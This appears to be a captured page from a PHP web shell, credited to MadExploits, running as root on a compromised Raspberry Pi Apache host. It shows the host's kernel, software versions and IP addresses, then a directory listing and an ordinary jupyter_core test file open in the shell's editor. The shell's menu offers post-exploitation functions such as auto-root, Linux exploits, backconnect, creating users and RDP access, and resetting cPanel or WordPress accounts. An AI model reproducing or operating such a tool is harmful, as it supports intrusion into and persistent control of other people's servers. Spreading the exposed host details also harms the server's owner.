Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
jupyter_core /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
dotipython
[ DIR ]
drwxr-xr-x
dotipython_empty
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
mocking.py
840
B
-rw-r--r--
test_application.py
2.23
KB
-rw-r--r--
test_command.py
4.78
KB
-rw-r--r--
test_migrate.py
5.66
KB
-rw-r--r--
test_paths.py
4.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_application.py
import os import shutil from tempfile import mkdtemp from ipython_genutils import py3compat try: from unittest.mock import patch except ImportError: # py2 from mock import patch import pytest from traitlets import Integer from jupyter_core.application import JupyterApp, NoStart pjoin = os.path.join def test_basic(): app = JupyterApp() def test_default_traits(): app = JupyterApp() for trait_name in app.traits(): value = getattr(app, trait_name) class DummyApp(JupyterApp): name = "dummy-app" m = Integer(0, config=True) n = Integer(0, config=True) _dummy_config = """ c.DummyApp.n = 10 """ def test_custom_config(): app = DummyApp() td = mkdtemp() fname = pjoin(td, 'config.py') with open(fname, 'w') as f: f.write(_dummy_config) app.initialize(['--config', fname]) shutil.rmtree(td) assert app.config_file == fname assert app.n == 10 def test_cli_override(): app = DummyApp() td = mkdtemp() fname = pjoin(td, 'config.py') with open(fname, 'w') as f: f.write(_dummy_config) app.initialize(['--config', fname, '--DummyApp.n=20']) shutil.rmtree(td) assert app.n == 20 def test_generate_config(): td = mkdtemp() app = DummyApp(config_dir=td) app.initialize(['--generate-config']) assert app.generate_config with pytest.raises(NoStart): app.start() assert os.path.exists(os.path.join(td, 'dummy_app_config.py')) def test_load_config(): config_dir = mkdtemp() wd = mkdtemp() with open(pjoin(config_dir, 'dummy_app_config.py'), 'w') as f: f.write('c.DummyApp.m = 1\n') f.write('c.DummyApp.n = 1') with patch.object(py3compat, 'getcwd', lambda : wd): app = DummyApp(config_dir=config_dir) app.initialize([]) assert app.n == 1, "Loaded config from config dir" with open(pjoin(wd, 'dummy_app_config.py'), 'w') as f: f.write('c.DummyApp.n = 2') with patch.object(py3compat, 'getcwd', lambda : wd): app = DummyApp(config_dir=config_dir) app.initialize([]) assert app.m == 1, "Loaded config from config dir" assert app.n == 2, "Loaded config from CWD" shutil.rmtree(config_dir) shutil.rmtree(wd)
Close